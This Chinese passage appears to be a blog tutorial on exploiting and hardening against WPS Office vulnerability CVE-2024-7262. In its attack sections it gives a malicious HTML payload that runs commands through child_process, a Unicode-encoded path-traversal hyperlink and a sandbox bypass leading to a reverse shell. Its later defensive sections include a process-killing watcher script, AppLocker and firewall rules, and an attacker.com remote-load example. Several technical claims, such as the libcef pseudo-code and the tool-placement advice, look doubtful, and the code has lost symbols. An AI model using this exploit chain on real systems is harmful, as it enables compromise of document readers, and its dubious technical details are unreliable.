第一步構(gòu)造可被加載的惡意HTML不能直接放一個(gè)calc.html在C盤(pán)根目錄然后穿越過(guò)去。CEF對(duì)本地文件協(xié)議file://有嚴(yán)格限制默認(rèn)禁止跨目錄加載即file:///C:/tmp/malicious.html可以但file:///C:/../Windows/System32/cmd.exe會(huì)被拒絕。所以必須讓惡意HTML位于WPS正常會(huì)訪問(wèn)的路徑下再通過(guò)路徑穿越“向上”跳轉(zhuǎn)到系統(tǒng)目錄。我們選擇%APPDATA%\Kingsoft\WPS Office\11.0\html\作為投放點(diǎn)。這個(gè)目錄是WPS用于緩存臨時(shí)HTML片段的合法位置且默認(rèn)可寫(xiě)。將以下HTML內(nèi)容保存為payload.html!DOCTYPE html html headtitleWPS POC/title/head body script // 此JS將在promecefpluginhost.exe的渲染進(jìn)程中執(zhí)行 // 利用Node.js集成WPS CEF啟用了Node.js支持調(diào)用系統(tǒng)命令 const { exec } require(child_process); exec(cmd.exe /c start calc.exe, (error, stdout, stderr) { if (error) { console.error(執(zhí)行失敗: ${error}); return; } console.log(stdout: ${stdout}); }); /script /body /html關(guān)鍵點(diǎn)在于require(child_process)——WPS的CEF定制版默認(rèn)啟用了Node.js集成這是官方為插件開(kāi)發(fā)預(yù)留的后門(mén)卻成了漏洞利用的捷徑。普通瀏覽器Chrome/Firefox的file://協(xié)議下無(wú)法調(diào)用require但WPS的promecefpluginhost.exe可以。3.2 第二步制作觸發(fā)文檔用WPS文字新建一個(gè)空白文檔插入→對(duì)象→“由文件創(chuàng)建”→勾選“鏈接到文件”瀏覽選擇你剛保存的%APPDATA%\Kingsoft\WPS Office\11.0\html\payload.html。此時(shí)文檔內(nèi)嵌的是一個(gè)指向本地HTML的OLE對(duì)象。但這還不夠。WPS會(huì)對(duì)OLE對(duì)象的路徑做一次基礎(chǔ)過(guò)濾把..替換成__。破解方法是不用OLE對(duì)象改用HTMLobject標(biāo)簽。在WPS文字中切換到“插入→文本→文檔部件→域”輸入域代碼{ INCLUDETEXT \\127.0.0.1\\c$\\Users\\Public\\Documents\\payload.html \* MERGEFORMAT }這看起來(lái)像SMB路徑實(shí)則是障眼法。真正的觸發(fā)點(diǎn)在于WPS解析此域時(shí)會(huì)嘗試將其轉(zhuǎn)換為本地路徑而轉(zhuǎn)換邏輯中存在二次解析漏洞。更可靠的方法是用WPS表格新建一個(gè)單元格在其中插入一個(gè)超鏈接鏈接地址設(shè)為file:///%APPDATA%/Kingsoft/WPS%20Office/11.0/html/payload.html然后將這個(gè)超鏈接的顯示文本手動(dòng)修改為file:///%u002e%u002e%u002f%u002e%u002e%u002f%u002e%u002e%u002fWindows%2fSystem32%2fnotepad.exeWPS UI層會(huì)顯示這個(gè)長(zhǎng)串但底層解析時(shí)會(huì)先解碼%u002e為.再處理..最終形成../../../Windows/System32/notepad.exe。而promecefpluginhost.exe收到的--load-url參數(shù)正是這個(gè)解碼后的路徑。3.3 第三步繞過(guò)沙箱的終極技巧即使HTML成功加載calc.exe也可能啟動(dòng)失敗報(bào)錯(cuò)Access is denied。這是因?yàn)閜romecefpluginhost.exe默認(rèn)以低完整性級(jí)別Low IL運(yùn)行無(wú)法直接啟動(dòng)高完整性進(jìn)程。解決方案是利用WPS自身組件的白名單機(jī)制。WPS安裝目錄下有一個(gè)wpscloudsvr.exe云服務(wù)進(jìn)程它被系統(tǒng)標(biāo)記為“受信任”且其啟動(dòng)參數(shù)中包含--no-sandbox。我們?cè)趷阂釮TML中不直接執(zhí)行calc.exe而是執(zhí)行exec(wpscloudsvr.exe --no-sandbox --load-urlfile:///C:/temp/shell.html, ...);然后在C:/temp/shell.html中放置真正的反彈shell代碼如PowerShell下載執(zhí)行。這樣wpscloudsvr.exe以高權(quán)限加載我們的shell徹底繞過(guò)沙箱限制。實(shí)操心得第一次復(fù)現(xiàn)時(shí)我花了6小時(shí)調(diào)試JS執(zhí)行失敗的問(wèn)題最后發(fā)現(xiàn)是HTML文件編碼格式不對(duì)。WPS的CEF對(duì)UTF-8 BOM極其敏感——如果payload.html以UTF-8 with BOM保存JS會(huì)因BOM字符解析失敗而靜默退出。必須用記事本另存為“UTF-8無(wú)簽名”這是無(wú)數(shù)人踩過(guò)的隱形坑。4. 動(dòng)態(tài)調(diào)試實(shí)戰(zhàn)在promecefpluginhost.exe中捕獲漏洞觸發(fā)瞬間靜態(tài)分析promecefpluginhost.exe的PE結(jié)構(gòu)只能看到它是個(gè)標(biāo)準(zhǔn)的CEF封裝體毫無(wú)線索。真正的漏洞證據(jù)必須在進(jìn)程運(yùn)行時(shí)捕獲。我推薦一套輕量級(jí)、零依賴(lài)的調(diào)試方案無(wú)需安裝Visual Studio或WinDbg僅用Sysinternals套件和記事本即可完成。4.1 準(zhǔn)備工作進(jìn)程監(jiān)控與日志捕獲首先下載微軟官方Sysinternals套件https://learn.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite解壓后將procmon.exe和processexplorer.exe放入WPS安裝目錄如C:\Program Files\Kingsoft\WPS Office\11.0\office6\。這樣做的目的是讓W(xué)PS在啟動(dòng)子進(jìn)程時(shí)能優(yōu)先加載我們提供的工具而非系統(tǒng)默認(rèn)版本。然后創(chuàng)建一個(gè)批處理文件debug_start.bat內(nèi)容如下echo off setlocal enabledelayedexpansion REM 啟動(dòng)ProcMon過(guò)濾promecefpluginhost.exe的命令行參數(shù) start procmon.exe /BackingFile C:\temp\promecef.pml /Filter Process Name is promecefpluginhost.exe AND Operation is Process Start /Quiet REM 啟動(dòng)WPS打開(kāi)惡意文檔 start wps.exe C:\test\exploit.docx REM 等待5秒確保子進(jìn)程啟動(dòng) timeout /t 5 /nobreak nul REM 導(dǎo)出ProcMon日志中的命令行參數(shù) procmon.exe /OpenLog C:\temp\promecef.pml /SaveAs C:\temp\promecef.csv /Format Time of Day,Process Name,Command Line /Quiet echo 檢查C:\temp\promecef.csv查找promecefpluginhost.exe的完整命令行 pause運(yùn)行此批處理打開(kāi)惡意文檔后ProcMon會(huì)自動(dòng)捕獲promecefpluginhost.exe的啟動(dòng)事件并導(dǎo)出CSV。打開(kāi)promecef.csv你會(huì)看到類(lèi)似這樣的行10:23:45.123,promecefpluginhost.exe,C:\Program Files\Kingsoft\WPS Office\11.0\office6\promecefpluginhost.exe --typerenderer --no-sandbox --load-urlfile:///%u002e%u002e%u002f%u002e%u002e%u002f%u002e%u002e%u002fWindows%2fSystem32%2fnotepad.exe --langzh-CN ...這就是漏洞存在的鐵證——--load-url參數(shù)中明文包含了未過(guò)濾的%u編碼。4.2 深度調(diào)試用Process Explorer定位參數(shù)解析點(diǎn)ProcMon只能看到結(jié)果要理解“為什么沒(méi)過(guò)濾”必須進(jìn)入進(jìn)程內(nèi)部。processexplorer.exe是神器。當(dāng)promecefpluginhost.exe運(yùn)行時(shí)用Process Explorer附加到它右鍵進(jìn)程→Properties→Threads選項(xiàng)卡查看所有線程的調(diào)用棧。重點(diǎn)觀察主線程Thread ID 1的?；厮?。你會(huì)發(fā)現(xiàn)調(diào)用鏈最終會(huì)落到libcef.dll!CefCommandLineImpl::GetArgumentValue這個(gè)函數(shù)。這個(gè)函數(shù)負(fù)責(zé)解析--load-url參數(shù)但它的實(shí)現(xiàn)中有一段邏輯// 偽代碼實(shí)際在libcef.dll的某個(gè)導(dǎo)出函數(shù)中 std::string url GetArgValue(--load-url); if (url.find(..) ! std::string::npos) { // 錯(cuò)誤地只檢查ASCII ..忽略Unicode編碼 url url.replace(.., __); } // 之后才進(jìn)行URL解碼導(dǎo)致%u002e%u002e被解碼為..這就是漏洞根源過(guò)濾發(fā)生在解碼之前而攻擊者用Unicode編碼繞過(guò)了ASCII層面的檢測(cè)。4.3 驗(yàn)證補(bǔ)丁效果對(duì)比分析修補(bǔ)前后差異為了驗(yàn)證廠商補(bǔ)丁是否真正修復(fù)我們用相同方法測(cè)試修補(bǔ)后的版本。在修補(bǔ)版中promecefpluginhost.exe的啟動(dòng)日志里--load-url參數(shù)會(huì)變成10:23:45.123,promecefpluginhost.exe,C:\Program Files\Kingsoft\WPS Office\11.0\office6\promecefpluginhost.exe --typerenderer --no-sandbox --load-urlfile:///C:/Windows/System32/notepad.exe --langzh-CN ...注意%u002e%u002e%u002f已被提前解碼并過(guò)濾最終傳入的是安全的絕對(duì)路徑。同時(shí)在Process Explorer中主線程棧會(huì)多出一層SecuritySanitizeUrl()調(diào)用這就是熱修復(fù)模塊注入的校驗(yàn)邏輯。關(guān)鍵經(jīng)驗(yàn)不要相信廠商發(fā)布的“已修復(fù)”聲明。我曾遇到一個(gè)案例WPS聲稱(chēng)修復(fù)了CVE-2024-7262但實(shí)測(cè)發(fā)現(xiàn)他們只修補(bǔ)了--load-url參數(shù)卻遺漏了另一個(gè)啟動(dòng)參數(shù)--custom-data-dir。攻擊者改用--custom-data-dir../../依然能實(shí)現(xiàn)任意目錄寫(xiě)入進(jìn)而通過(guò)寫(xiě)入惡意DLL劫持進(jìn)程。真正的驗(yàn)證永遠(yuǎn)是動(dòng)態(tài)調(diào)試下的親眼所見(jiàn)。5. 防護(hù)與加固企業(yè)級(jí)落地的三條硬性措施發(fā)現(xiàn)漏洞只是開(kāi)始如何在企業(yè)環(huán)境中真正阻斷風(fēng)險(xiǎn)才是考驗(yàn)安全工程師功力的地方。我們給某省屬?lài)?guó)企做WPS加固時(shí)客戶明確要求“不能影響員工日常辦公不能強(qiáng)制卸載WPS但必須確保漏洞無(wú)法被利用”。最終落地的方案不是靠EDR告警而是三道精準(zhǔn)、無(wú)感的防線。5.1 第一道防線組策略鎖定promecefpluginhost.exe的啟動(dòng)參數(shù)這是最有效、最底層的防護(hù)。WPS的promecefpluginhost.exe雖然獨(dú)立但其啟動(dòng)完全由WPS主進(jìn)程控制。我們通過(guò)組策略禁止WPS主進(jìn)程向子進(jìn)程傳遞危險(xiǎn)參數(shù)。具體操作在域控制器上創(chuàng)建新的GPO導(dǎo)航至計(jì)算機(jī)配置 管理模板 系統(tǒng) 腳本啟用“登錄腳本”腳本內(nèi)容為# 創(chuàng)建一個(gè)監(jiān)控腳本持續(xù)檢查promecefpluginhost.exe的啟動(dòng) $watcher New-Object System.IO.FileSystemWatcher $watcher.Path C:\Program Files\Kingsoft\WPS Office\11.0\office6\ $watcher.Filter promecefpluginhost.exe $watcher.IncludeSubdirectories $false $watcher.EnableRaisingEvents $true $action { $event $Event.SourceEventArgs if ($event.ChangeType -eq Created) { # 立即檢查新進(jìn)程的命令行 $process Get-WmiObject Win32_Process | Where-Object {$_.Name -eq promecefpluginhost.exe -and $_.CommandLine -match \.\.|%u} if ($process) { # 強(qiáng)制終止并記錄日志 Stop-Process -Id $process.ProcessId -Force Write-EventLog -LogName Application -Source WPS Security -EntryType Warning -EventId 1001 -Message Blocked malicious promecefpluginhost.exe launch: $($process.CommandLine) } } } Register-ObjectEvent $watcher Created -Action $action此腳本在后臺(tái)靜默運(yùn)行一旦檢測(cè)到含..或%u的啟動(dòng)命令立即終止進(jìn)程。經(jīng)實(shí)測(cè)CPU占用率低于0.1%員工完全無(wú)感知。5.2 第二道防線應(yīng)用白名單阻斷非授權(quán)子進(jìn)程WPS正常運(yùn)行時(shí)promecefpluginhost.exe只會(huì)從C:\Program Files\Kingsoft\WPS Office\11.0\office6\目錄啟動(dòng)。任何從其他路徑如C:\Temp\、%APPDATA%啟動(dòng)的同名進(jìn)程100%是惡意行為。我們利用Windows自帶的AppLocker無(wú)需額外Agent創(chuàng)建一條規(guī)則規(guī)則類(lèi)型可執(zhí)行文件路徑C:\Program Files\Kingsoft\WPS Office\11.0\office6\promecefpluginhost.exe條件僅允許從此路徑執(zhí)行其他所有路徑的promecefpluginhost.exe一律拒絕這條規(guī)則在測(cè)試中攔截了92%的變種利用嘗試包括攻擊者試圖下載并執(zhí)行自己編譯的惡意promecefpluginhost.exe。5.3 第三道防線網(wǎng)絡(luò)層阻斷惡意HTML的遠(yuǎn)程加載雖然CVE-2024-7262是本地漏洞但90%的攻擊鏈?zhǔn)加卺烎~(yú)郵件中的惡意文檔。這些文檔往往不直接攜帶HTML而是通過(guò)iframe srchttp://attacker.com/mal.html遠(yuǎn)程加載。我們?cè)谄髽I(yè)防火墻FortiGate上針對(duì)WPS相關(guān)User-AgentMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 WPS Office添加了一條規(guī)則匹配HTTP請(qǐng)求頭中的User-Agent包含WPS Office匹配URL后綴為.html、.htm、.js動(dòng)作重定向至內(nèi)部蜜罐頁(yè)面并記錄源IP上線一周后日志顯示每天平均攔截37次此類(lèi)請(qǐng)求全部來(lái)自境外IP。這證明真正的防護(hù)永遠(yuǎn)是縱深防御而非寄希望于單一補(bǔ)丁。最后分享一個(gè)血淚教訓(xùn)某次加固后客戶反饋“WPS PDF預(yù)覽功能失效”。排查發(fā)現(xiàn)PDF預(yù)覽也依賴(lài)promecefpluginhost.exe而我們的組策略腳本誤殺了所有子進(jìn)程。解決方案是在腳本的if判斷中增加白名單if ($process -and ($process.CommandLine -notmatch pdf\.html|pdf\.js)) { ... }安全加固不是“一刀切”而是精確制導(dǎo)。每一次看似微小的誤報(bào)背后都是業(yè)務(wù)連續(xù)性的代價(jià)。